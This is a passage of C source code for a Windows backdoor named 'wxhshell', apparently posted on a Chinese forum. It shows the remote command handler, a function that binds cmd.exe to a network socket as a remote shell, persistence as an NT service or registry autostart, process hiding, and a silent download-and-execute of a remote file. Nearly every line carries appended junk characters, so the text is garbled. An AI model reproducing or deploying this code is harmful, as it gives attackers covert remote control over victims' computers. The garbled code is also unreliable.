  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Dro2R_j{  
  } KPMId`kf  
  else { cuo'V*nWQ  
":,J<|Oy  
    switch(cmd[0]) { Pvu*Y0_p  
  CWS&f g%o{  
  // 帮助 ca!DZ%y  
  case '?': { 4Q n5Mr@<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 2g:V_%  
    break; )6 [d'2  
  } #a=~a=c(^  
  // 安装 Z2hIoCT  
  case 'i': { S|v")6  
    if(Install()) (b>B6W\&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y9)Rl)7-:  
    else ':LV"c4 t  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a  C<  
    break; =P\Tk)(`  
    } kMY1Xb  
  // 卸载 [_wenlkm  
  case 'r': { 'r_NA!R  
    if(Uninstall()) ]9/{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 15tT%TC  
    else $g+q;Y~i0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;Vh5nO  
    break; 3X A8\Mg  
    } ^=V b'g3P~  
  // 显示 wxhshell 所在路径 P gK> Z,  
  case 'p': { (n3MbVi3LU  
    char svExeFile[MAX_PATH]; RYem(%jq  
    strcpy(svExeFile,"\n\r"); Z/w "zCd  
      strcat(svExeFile,ExeFile); x;p7n 2_  
        send(wsh,svExeFile,strlen(svExeFile),0); -P7JaH/Q  
    break; 25CO_  
    } F9 q9BH  
  // 重启 >,s.!vpK  
  case 'b': { ;^Hg\a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &$+nuUA  
    if(Boot(REBOOT)) [  bB   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UpIt"+d2&  
    else { yCLDJ%8  
    closesocket(wsh); |#_`aT"  
    ExitThread(0); Eggdj+  
    } wEJ) h1=)^  
    break; :Mq-4U.e  
    } q=(.N>%  
  // 关机 5<?s86GHh'  
  case 'd': { |'" 17c&  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @ATJ|5.gr  
    if(Boot(SHUTDOWN)) )`B n"=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [>N`)]fP  
    else { "o.g}Pv  
    closesocket(wsh); p{BBqKv  
    ExitThread(0); FqT2+VO~  
    } 2 N$yn  
    break; Zn]njf1x  
    } fF*{\  
  // 获取shell 6I`Lszs  
  case 's': { EA+}Rf6}  
    CmdShell(wsh); slWO\AYiO  
    closesocket(wsh); rfVHPMD0  
    ExitThread(0); P&0o~@`cL  
    break; I"1H]@"=  
  } mcB8xE  
  // 退出 /9..hEq^  
  case 'x': { NiCB.a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !?u{2 D  
    CloseIt(wsh); O)E8'Oe"Q  
    break;  [ijK ~  
    } /degBL+  
  // 离开 UZ` <D/  
  case 'q': { +^\TG>le  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1ehl=WN  
    closesocket(wsh); i^zncDMA  
    WSACleanup(); sa26u`?  
    exit(1); 4Y#F"+m.]  
    break; '**dD2 n  
        } .3QX*]{  
  } QFS5PZ  
  } d|RqS`h ]  
[)E.T,fjMQ  
  // 提示信息 CMI V"-  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sb;=YW 1<  
} 8r46Wr7Q  
  } |)pRkn8x  
@ppT;9<d  
  return; ^OWA   
} '!wI8f  
tDk!]  
// shell模块句柄 wVms"U.  
int CmdShell(SOCKET sock) ^UEExj f  
{ |{a`,%mw  
STARTUPINFO si; "7&DuF$s)  
ZeroMemory(&si,sizeof(si)); 9h$08l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jLZ^EM-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; c{X:0man  
PROCESS_INFORMATION ProcessInfo; !lk -MN.  
char cmdline[]="cmd"; :4V8Iz 71  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ".Q``d&X  
  return 0; bI_T\Eft  
} R rtr\ a  
AsOkOS3  
// 自身启动模式 5UgxuuP4  
int StartFromService(void) 8 o SNnT  
{ \(db1zmS~  
typedef struct xR`W9Z5  
{ v3ky;~ke  
  DWORD ExitStatus; OdrnPo{  
  DWORD PebBaseAddress; ?{Rv/np=F  
  DWORD AffinityMask; N#Y|MfLc  
  DWORD BasePriority; c :{#H9  
  ULONG UniqueProcessId; _3'FX# xc  
  ULONG InheritedFromUniqueProcessId; LW$(;-rY  
}   PROCESS_BASIC_INFORMATION; T|o ]8z  
;;#_[Zl  
PROCNTQSIP NtQueryInformationProcess; nH=8I~jp  
@g{FNXY$m  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3iI 4yg  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Q2L>P<87T  
EL?6x  
  HANDLE             hProcess; qZS]eQW.  
  PROCESS_BASIC_INFORMATION pbi; @3Lh/&  
Duu)8ru  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); &P@dx=6d  
  if(NULL == hInst ) return 0; Q,f~7IVX  
b-+~D9U <  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,_N+t:*#0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %\|9_=9Wn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !d)Vr5x  
[K=M; $iQ  
  if (!NtQueryInformationProcess) return 0; l[AQyR1+/  
KS3>c7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); T|%pvTIe  
  if(!hProcess) return 0; 5(+PI KCjC  
U_8 Z&  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ? +q(,P@*  
Wz%b,!  
  CloseHandle(hProcess); R. (fo:ve>  
0,z3A>C  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); RZgklEU  
if(hProcess==NULL) return 0; LrGLIt`  
=sYUzYm  
HMODULE hMod; `Q@w*ta)  
char procName[255]; @F-InfB8.  
unsigned long cbNeeded; Vx<`6uv  
XB.xIApmy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Nf!g1D"U  
{PTB]D'  
  CloseHandle(hProcess); L2,.af6+  
~v$1@DQ}  
if(strstr(procName,"services")) return 1; // 以服务启动 >]!8f?,  
cUH. ^_a  
  return 0; // 注册表启动 w1&\heSQ  
} ZR," w  
q9h 3/uTv  
// 主模块 aWCZ1F  
int StartWxhshell(LPSTR lpCmdLine) M&v;#CV  
{ j TyR+#Wn  
  SOCKET wsl; zFba("E Z  
BOOL val=TRUE; %2;Nj; J$  
  int port=0; c;13V(Djy  
  struct sockaddr_in door; ]VkM)< +  
dKk#j@[n"  
  if(wscfg.ws_autoins) Install(); N*w6D:  
nr{#Krkb  
port=atoi(lpCmdLine); @CTSvTt$  
0ap_tCY  
if(port<=0) port=wscfg.ws_port; ^xt@  
X7g@.Oy`  
  WSADATA data; AL;z's(F?  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #B!HPlrv  
'nMj<:0wlD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &}y?Lt  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _ g8CvH)?!  
  door.sin_family = AF_INET; E-`3}"{  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); p=jpk@RX  
  door.sin_port = htons(port); #lY_XV.  
VRs|";  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { x<'<E@jpU;  
closesocket(wsl); ]J(BaX4  
return 1; QhJuH_f 0  
} B4Fuvi  
J85S'cwZZ  
  if(listen(wsl,2) == INVALID_SOCKET) { 0Xw$l3@N^  
closesocket(wsl); T2ZB(B D  
return 1; -\9K'8 C  
} EEn8]qJC  
  Wxhshell(wsl); @"G+kLv0  
  WSACleanup(); dHsI<:T#  
GiK4LJ~cH)  
return 0; E~y( @72)  
Vm*E^ v  
} >lV'}0u)  
Nrn_Gy>|D  
// 以NT服务方式启动 ;Zy[2M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q21l{R{Y  
{ QMhvyzkS  
DWORD   status = 0; 5<>"d :9  
  DWORD   specificError = 0xfffffff; ^ 7SE2Zi  
T! ww3d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; (UB?UJc  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; =o5|W'>`  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `PUGg[Zx^  
  serviceStatus.dwWin32ExitCode     = 0; UasU/Q <   
  serviceStatus.dwServiceSpecificExitCode = 0; W>j@E|m$  
  serviceStatus.dwCheckPoint       = 0; ]<*-pRN  
  serviceStatus.dwWaitHint       = 0; ,x=S)t  
^?8/9 o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;EB^1*A Ew  
  if (hServiceStatusHandle==0) return; `oU|U!|  
dLfB){>S  
status = GetLastError(); KK}ox%j  
  if (status!=NO_ERROR) kK|D&Xy`  
{ 3`TD>6rs  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; )kT.3 Q  
    serviceStatus.dwCheckPoint       = 0; {ldt/dl~  
    serviceStatus.dwWaitHint       = 0; {[)n<.n[g  
    serviceStatus.dwWin32ExitCode     = status; Nl'@Y^8N  
    serviceStatus.dwServiceSpecificExitCode = specificError; 1N}vz(0"  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); eBWgAf.k  
    return; 4q"4N2  
  } <Ej`zGhWz  
4D}hYk$eP0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; = inp>L  
  serviceStatus.dwCheckPoint       = 0; Gsu?m  
  serviceStatus.dwWaitHint       = 0; #\8"d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); k2O3{xIjc  
} 4l`[,BJ  
\c}pzBFd  
// 处理NT服务事件,比如:启动、停止 aH?+^f"D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >r3SF3XMq  
{  b]gVZ-  
switch(fdwControl) 7Fx0#cS"\  
{ Yi j^hs@eV  
case SERVICE_CONTROL_STOP: hXh nJ  
  serviceStatus.dwWin32ExitCode = 0; DF>3)oTF  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4a=QTq0p  
  serviceStatus.dwCheckPoint   = 0; aka)#0l .  
  serviceStatus.dwWaitHint     = 0; FP'-=zgc  
  { 7^7Jh&b)/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); #U(kK(uO  
  } `&9iC 4P  
  return; 63i&<  
case SERVICE_CONTROL_PAUSE: 3$_JNF`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; N%F4ug@i   
  break; fC".K Yjp  
case SERVICE_CONTROL_CONTINUE: ob;O,&e0>  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wF9L<<&B  
  break; O 6ph_$nt.  
case SERVICE_CONTROL_INTERROGATE: ~F^tLi!5  
  break; M1icj~Jr  
}; !zfKj0^  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /i~x.i3  
} !QpOrg  
}xry  
// 标准应用程序主函数 NBL%5!'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) H:)_;k  
{ *M)M!jTv  
}K5okxio  
// 获取操作系统版本 I^nDO\m <  
OsIsNt=GetOsVer(); f92z/5%V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); TlowEh8r  
&1Cs'  
  // 从命令行安装 ,+ 5:}hR+  
  if(strpbrk(lpCmdLine,"iI")) Install(); d'"|Qg_'  
U\u07^h[  
  // 下载执行文件 ez5J+  
if(wscfg.ws_downexe) { B Dp")[l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -p?&vQDo`  
  WinExec(wscfg.ws_filenam,SW_HIDE); CBv0fQtL  
} PXyv);#Q`  
):[}NDmC  
if(!OsIsNt) { p|(SR~;6  
// 如果时win9x,隐藏进程并且设置为注册表启动 HB{'MBs  
HideProc(); z-qbe97  
StartWxhshell(lpCmdLine); *7E#=xb  
} 8{i O#C  
else K iEmvC  
  if(StartFromService()) zu.B>INe  
  // 以服务方式启动 Wb>;L@jB7  
  StartServiceCtrlDispatcher(DispatchTable); 1_b*j-j  
else :}yT?LIyP  
  // 普通方式启动 Af\  
  StartWxhshell(lpCmdLine); d@ >i=l [  
1Au+X3   
return 0; Xo:Mar  
}
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只看该作者 1 发表于: 2006-10-10
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